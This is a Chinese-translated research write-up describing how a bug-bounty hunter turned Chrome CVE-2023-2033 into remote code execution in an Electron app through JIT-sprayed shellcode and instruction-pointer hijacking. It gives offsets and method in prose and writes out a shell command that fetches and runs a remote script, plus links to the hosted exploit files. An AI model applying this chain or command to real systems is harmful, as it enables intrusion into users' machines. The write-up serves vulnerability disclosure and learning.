![利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE 利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/1-1720853785.gif)
背景
我在一个应用程序的核心功能中发现了一个基于 React createElement 的 XSS 错误,该应用程序有一个漏洞赏金计划,其中包含一个桌面应用程序。我之前在这个应用程序中发现过几个这种类型的错误,并且大致知道预期的回报是多少。我想将 XSS 漏洞转变为桌面应用程序用户主机上的远程代码执行漏洞。桌面应用程序运行的 Electron 版本使用了大约 2023 年 3 月的 Chrome 版本,并且在主渲染器窗口中禁用了 Chrome 沙盒。我需要一个 RCE PoC 来展示影响。这就是我如何到达那里的故事。郑重声明,在此之前我没有任何浏览器利用经验,这个过程对我来说是一次学习经历。这里我可能误解或弄错了一些小细节,甚至是重大细节,所以请牢记这一点。
针对不到一年前 Chrome 漏洞的武器化 RCE PoC 在网上并不容易找到。去年的一些类型混淆漏洞确实有 PoC,甚至可以实现 v8 堆读/写/addrof 原语。这些公开的 PoC 似乎都是针对 d8(v8 的开发人员 shell)构建的。实际上,其中一些 PoC 无法在此目标 Chrome 版本上运行,至少在没有大量修改的情况下无法运行,因为 v8 在 Chrome 下运行时使用的标志与本地 d8 测试运行非常不同,并且行为也非常不同。
目标:Chrome/110.0.5481.192 Electron/23.2.0x86_64 Linux。为了撰写本文,我们使用 electron-forge 构建了一个非常小的 Electron 应用程序,以打包生产版本,该版本运行未沙盒化的主渲染器窗口并导航到托管带有漏洞代码的站点的本地 Web 服务器。
CVE 2023-2033 最终成为被选中的漏洞。网上有一个公开的PoC,其中包含 v8 堆读/写/addrof 原语,经过一些调整后,似乎可以在目标 Electron 版本上可靠地工作。下面的文章是关于如何利用这些原语来实现 amd64 Linux 上最稳定和可靠的 RCE。这些原语如何通过类型混淆漏洞实现的性质超出了本博客的范围,由于 mistymntncop 在实现它们的 PoC 中所做的出色工作,它们基本上可以充当黑匣子。
漏洞开发是在本地针对正在运行的生产 Electron 应用程序进行的,将 GDB 附加到运行漏洞代码的渲染器进程。编译了一个本地 d8 调试版本并用于一些小测试,以更好地了解 JS 对象在 v8 内存中的布局方式,以及 TurboFan 编译的 JIT 代码的外观,但它并未用于漏洞开发或测试,因为它的行为与生产 Electron 应用程序不同。
让 V8 堆原语工作起来
Mistymntncop 的PoC是此漏洞的起点。要以此为基础,需要让此处实现的 v8 堆原语在目标版本的 Chrome 上运行。
首先,需要从构建此漏洞的 PoC 漏洞原语中删除所有 d8 本机语法,因为它针对的是生产 Chrome 实例,而不是调试 d8 实例,因此这些语法会引发语法错误。在这种情况下,这仅意味着注释掉所有 %DebugPrint 行。还需要将对 print() 的调用批量替换为对 console.log() 的调用,因为在 Chrome 平台上,这些调用会尝试打开打印提示而不是注销文本。
让 mistymntncop 的 PoC 代码中的 v8 堆读/写/addrof 原语在目标 Chrome 版本上运行有点棘手。它是针对特定版本的 d8 编写和测试的,而不是为 Chrome 编写的。最初,当加载包含 exploit.js 脚本的 HTML 文档时,发现漏洞无法设置原语,控制台中出现了 JavaScript 错误。
按照 OffSec 的古老口号“再接再厉”,只需运行 pwn() 函数四次即可正确安装这些原语。在第四次运行时,它通常会成功设置原语,而不是抛出错误。从库存 PoC 示例中观察到它们的使用是有效的。
漏洞利用中添加了代码,在 0、100、200 和 300 毫秒超时后进行新的 pwn() 调用,以尝试正确安装这些原语。
V8 堆沙箱突破理论
拥有 v8 堆的读/写/addrof 原语很有用,但并不能免费提供代码执行。在查看了与此问题相关的几个不同的writeup之后,似乎最好的选择是强制 TurboFan(v8 的顶级 JIT 编译器)优化包含 Float64 类型数组数据的函数,以便为数组中的每个长浮点数生成带有 8 字节立即数参数的 movabs 指令。这些 8 字节立即数参数包含 6 字节的 shellcode 和 2 字节的 jmp 指令,用于跳转到下一个 movabs 指令的立即数。可以尝试使用 v8 堆读/写/addrof 原语来修改函数的代码地址,以尝试以某种方式让指令指针跳转到 shellcode 块。
第一个 writeup,Mem2019 的 writeup 包含一个带有 shellcode 的函数,用于执行 execve 系统调用来执行 /bin/sh。此函数和一个附加函数被添加到 pwn() 调用之前。
新增功能
foo 函数被调用多次,导致 TurboFan 编译和优化该函数,这对于生成具有长 8 字节立即参数的 movabs 指令是必要的。
汇编并编码为 Float64s 的 shellcode 是从 Mem2019 的博客中窃取的。此 shellcode 是使用此 Python 脚本生成的,也是从 Mem2019 中窃取的。
然后将这些 8 字节十六进制值转换为 Float64。获取返回数组中的 Float64 的 foo() 函数,并使用 GDB 和 d8 执行。检查了 TurboFan 编译的针对 foo() 函数的优化汇编代码。
正如预期的那样,TurboFan 编译和优化的 foo() 函数创建了一系列包含 shellcode 的长 8 字节立即值的 movabs 指令。
玩转基本类型
根据 Mem2019 的写作研究,addrof 原语用于 foo() 和 f() 函数,以获取指向后备对象的 v8 堆指针。然后使用 read 原语从对象指针的开头读取函数 0x17 字节的 JIT 代码地址。为了测试这一点,在 pwn 函数的末尾添加了代码,该代码试图获取 foo() 和 f() 函数的地址,并在每个地址的开头后读取 0x17 字节的 8 字节内存。
F 和 foo 地址
这些原语似乎可以正常工作,而且似乎可以获取函数对象的地址并从其地址偏移量读取内存。如果这些实际上是函数用来决定函数执行时要运行什么代码的指针,那么预计可以进行写入调用,用指向函数 foo() 的指针覆盖函数 f() 的 JIT 地址,并且在调用 f() 时,预计会看到调用 foo() 的结果。以下代码已添加到 pwn() 函数中:
当实际运行并且原语正确安装时,可以观察到函数 f() 的行为已成功更改为就像函数 foo() 一样。
寻求指令指针控制
Mem2019 的写作表明,通过从函数对象写入此 jitAddr 偏移量并调用该函数,可以控制指令指针的低 32 位。为了查看尝试此操作时发生的情况,不是将函数 foo() 的 jitAddr 写入函数 f(),而是写入值 0x4142434445464748。删除了对 pwn() 的自动调用,并在将 GDB 附加到渲染器进程后从 Chrome DevTools 手动调用它。如果可以通过这种方式控制指令指针,则预计会观察到分段错误,指令指针的最低 32 位与垃圾测试地址的最低 32 位匹配。
检查了发生的崩溃,发现事实并非如此。崩溃发生在尝试从 $rcx+0x7 读取内存时,$rcx 的低 32 位与写入的 jitAddr 的低 32 位匹配。在读取 $rcx 之后,发生了将指令指针设置为 $rcx 的 jmp。在几条指令之前,可以看到存储在 $rdi 中的值被读入到 $rcx 的低 32 位中,偏移量为 0x17。可以推测 $rdi 存储了一个指向函数对象的指针,而这个读入 $rcx 低位的值就是 jitAddr。然后将 $r14 添加到 $rcx,这可能是将 v8 堆地址映射到本机堆地址的一些偏移量。如果可以控制跳转之前从 $rcx+0x7 读取到 $rcx 的内容,则可以控制指令指针。为了尝试了解通常驻留在那里的内容,在 GDB 中捕获了另一个渲染器崩溃,其中没有写入固定值,而是写入了 fooJitAddr | 0xF0000000,其中设置了最高位,希望在尝试从 $rcx+0x7 读取内存时看到另一个分段错误。根据之前读取的地址,预计该位通常为 0。
捕获此崩溃时,段错误发生在相同内存读取尝试的相同位置。但是,这次可以通过读取存储在 $rdi+0x17 的低 32 位并将其与 ~(0xFOOOOOOO) 进行与运算来恢复 foo 函数 JIT 地址的预期原始值。这样就可以返回原始预期地址。将 $r14 添加到该地址,然后读取该总和中 0x7 处的内存地址以获取预期值,如果没有这种篡改,该预期值将在跳转到 $rcx 之前读入该地址。使用 GDB inspect 观察此地址的指令。
观察将要跳转到的指令,预期的 movabs 指令具有 8 字节立即值。因此,推断这是 TurboFan 为 foo() 函数生成的 JIT 编译代码。使用 GDB 检查第一个 movabs 指令中 2 个字节处解析的前 3 条指令,可以看到 shellcode 的第一部分。从 shellcode 的入口处减去函数的预期起始位置,计算得出,如果函数跳转到比预期更远的 0x7c 字节处,则 shellcode 将开始执行,而不是 TurboFan 生成的预期代码。
获得指令指针控制权
根据之前的测试,预计读取 fooJitAddr+0x7 将返回指向已编译的 TurboFan 生成代码的指针。在实际测试时,发现该地址与上次测试中的地址非常相似。此地址是本机堆地址,而不是 v8 堆地址,因此不能使用原语在将要跳转到的堆上的位置读取和写入 shellcode。但是,可以读取该地址,可以将 0x7c 添加到其中,并且可以用这个总和覆盖它。这将导致这个被覆盖的地址被前一条在 jmp $rcx 指令之前发生段错误的指令加载到 $rcx 中。这将跳转到执行 TurboFan 为 foo 函数生成的第一个 movabs 指令中的 8 字节立即值,其中包含 shellcode 的 Float64s。
pwn 函数已被修改来执行此操作,它如下所示:
当此操作在易受攻击的 Electron 版本中成功执行时,写入后对函数 foo() 的调用导致 TurboFan 编译后的代码跳转到比预期更远的 0x7c 字节,8 字节的 shellcode 块从这里开始。shellcode 成功运行,并调用了 /bin/sh 的 execve,导致 Electron 中出现以下情况。
渲染器进程已消失,因为它已用 /bin/sh 替换自身并退出。在运行漏洞利用程序之前,在附加到渲染器的 GDB 会话中,观察到 /bin/sh 已成功执行。在用于编写漏洞利用程序的系统上,它恰好是指向 /usr/bin/dash 的符号链接。
这足以证明远程代码执行是可能的。对于正在运行的 Chrome 渲染器进程,这不是一个有用的概念验证有效负载,因为攻击者无法与其 stdio 进行交互。最好编写更有用的 shellcode,使用参数调用 /bin/sh,并真正做一些有影响力的事情。
编写更有用的 shellcode
有必要编写更有用的 shellcode,以显示执行从远程服务器提取的任意脚本的能力。为此,编写了运行的 shellcode /bin/sh ‘$(/bin/curl www.turb0.one/files/s)’。编写了以下可以合理执行此操作的 shellcode,并且所有指令都小于或等于 6 个字节,以便它们可以容纳 8 字节立即 movabs 值,并在末尾为 jmp 留出 2 个字节的空间,使其进入下一个 8 字节立即值。
在开头包含一个 int3 指令,以便 GDB 在 shellcode 启动时中断,并且可以验证 TurboFan 生成具有 8 字节立即值的 movabs 指令。这些包含 shellcode 的 8 字节十六进制数通过这个可能过于精确的在线工具运行,以将 shellcode 块转换为 Float64 值以用于 foo() 函数。foo() 函数现在如下所示:
由于数组中条目数量的变化,TurboFan 编译后的代码实际上看起来有些不同。必须更改跳转的编译函数地址的偏移量。使用了与之前已知地址相同的段错误技巧,发现偏移量为 0x82。之前的 pwn() 函数已更新为使用此偏移量而不是 0x7c。通过此更改,使用连接到渲染器进程的 GDB 运行漏洞利用程序,并命中 int3 断点。
已到达 shellcode,并在其中执行。但是,当继续执行时,shellcode 中发生段错误,而不是执行 /bin/sh。
排除较长的 shellcode 故障
当尝试找出段错误发生的位置和原因时,很明显 shellcode 出了什么问题。列出了指令指针之前的一些指令,并观察到预期的 movabs 指令并不总是存在,这些指令具有 8 字节立即值,间隔 0x14 字节。
看来 TurboFan 已经为 foo() 函数生成了代码,该代码优化了 shellcode 所在的 Float64 数组中某些重复值的加载。这应该是意料之中的,因为 TurboFan 是 v8 的顶级 JIT 编译器,旨在生成最优化的 JIT 代码。这意味着如果要使用此方法编写更长的 shellcode 有效负载,则必须确保 shellcode 不会重复,因此 TurboFan 无法执行这些优化,而是生成具有 8 字节立即值的所需 movabs 指令。
编写反优化 shellcode 生成器
有必要修改 shellcode 生成 python 脚本,以编写“反优化”shellcode,这样 TurboFan 就无法优化包含 shellcode 的任何所需 movabs 指令。在原始状态下,当编码指令未填满 jmp 指令进入下一个 shellcode 之前的整个 6 个字节空间时,中间的额外字节将用 nop 指令填充。这意味着将为相同的 <= 6 字节的 shellcode 块生成相同的 Float64,这将允许 TurboFan 发生需要避免的优化行为。相反,可以对这些指令进行编码,以便 jmp 紧跟在指令之后,修改 jmp 距离以反映它不再出现在末尾,其余 8 个字节可以用程序生成的垃圾字节填充,而不是像 nops 那样被执行,只是跳过了。这将防止从每个 shellcode 块生成的 Float64 值对于少于 6 个字节的 shellcode 块相同。在编写的较长的 shellcode 中,唯一重复的 shellcode 块都有空间容纳这些额外的垃圾反优化字节。修改了 shellcode 生成器脚本以实现这一点,最终实现了如下所示的功能:
重新运行脚本,输出通过 Float64 转换器运行以获取浮点数来替换 foo() 返回的数组内容。连接 GDB 并使用这个新有效负载重新运行漏洞利用后,再次触发 int3 断点。继续执行后,漏洞利用并没有成功运行,/bin/sh 也没有使用所需的参数执行,而是再次出现段错误。检查指向指令指针的指令,很明显崩溃发生在 shellcode 部分,并且指令似乎是正确的。这意味着 TurboFan 的优化行为已成功缓解。指令似乎相同,但 movabs 指令之间的距离已发生变化。
观察到 movsd 指令的大小发生了变化,因为它需要接受更大的参数。检查了生成的指令,并确定 movabs 指令之间的间隙为 0x14 的假设仅适用于前 15 条指令。之后,由于 movabs 指令之间的指令需要更大的尺寸,间隙变为 0x17。在 shellcode 生成器中添加了一个计数器,以在 jmp 指令中将此情况解释为下一个 shellcode 块。发生段错误的原因是 shellcode 没有从最后一条指令跳得足够远,而应该再跳 3 个字节。生成器已更新以解释此情况,python 如下所示:
实现阶段性 Shellcode 执行
新的改进的 shellcode 生成器经过增强,可以生成反优化代码,以确保 TurboFan 始终为每个 shellcode 块生成一个 movabs 指令,并支持稍后进入 TurboFan 编译代码的 movabs 立即值之间的更长跳转,其 shellcode 开头的 int3 已删除。最终有效载荷已重新生成并重新编码。www.turb0.one/files/s 上的暂存有效载荷只有内容/bin/touch /tmp/rcepoc。使用最终有效载荷重新运行漏洞利用。Chrome DevTools 报告渲染器进程已消失,表明 shellcode 已成功到达 execve 系统调用。ls /tmp运行,并且观察到/tmp/rcepoc已创建文件,表明 shellcode 已成功运行。
这表明第二阶段脚本已成功从 Web 服务器中拉出并执行。已成功创建了一个有效漏洞,该漏洞利用 mistymtncop 为 CVE-2023-2033 编写的 v8 堆原语,该技术受到 Mem2019 的研究启发并改编自 Mem2019 的研究,从而在目标 Electron 版本中实际执行了远程代码执行。
总结并全面武器化
取消注释了对 pwn() 的调用,该调用用于在页面加载时自动尝试运行漏洞。原语并非每次都正确设置,有时它们会崩溃而不是正常工作。测试机器上的失败概率约为 10%。为了尝试缓解这种情况,创建了一个文件 exploitloader.html,该文件 iframe 了 5 个 exploit.html 实例,这些实例加载了包含漏洞代码的实际 exploit.js。这旨在更一致地执行 RCE PoC 有效负载。
本文中提到的文件的最终版本可以在这里找到:
-
RCE 漏洞演示页面
http://www.turb0.one/files/cve-2023-2033/exploitloader.html
-
RCE 漏洞利用JavaScript
http://www.turb0.one/files/cve-2023-2033/exploit.js
-
利用 shellcode 生成器脚本
http://www.turb0.one/files/cve-2023-2033/shellcodegenerator.py
结论
本文涵盖了我将 CVE-2023-2033 武器化用于 RCE 的部分研究过程,其中省去了许多漫长的死胡同。本文中的一些结论比实践中得出的更快,理解也更直接。我之前没有任何浏览器开发经验或知识,但对一些浏览器开发相关主题有了一些功能上的理解。我能够整理出一个完整的 PoC 链,并针对我所针对的应用程序提交一份报告,该报告也得到了补救。在此过程中,我能够学习从 v8 原语到 shellcode 执行的技巧,弄清楚如何在我必须针对的 Chrome 版本上获取指令指针控制,并构建一个脚本来创建反 TurboFan 优化 shellcode。
http://www.turb0.one/pages/Weaponizing_Chrome_CVE-2023-2033_for_RCE_in_Electron:_Some_Assembly_Required.html
感谢您抽出
![利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE 利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/5-1720853793.gif)
.
![利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE 利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/8-1720853793.gif)
.
![利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE 利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE](https://ctfiot.oss-cn-beijing.aliyuncs.com/uploads/2024/07/8-1720853794.gif)
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):利用 Chrome CVE-2023-2033 进行 Electron 中的 RCE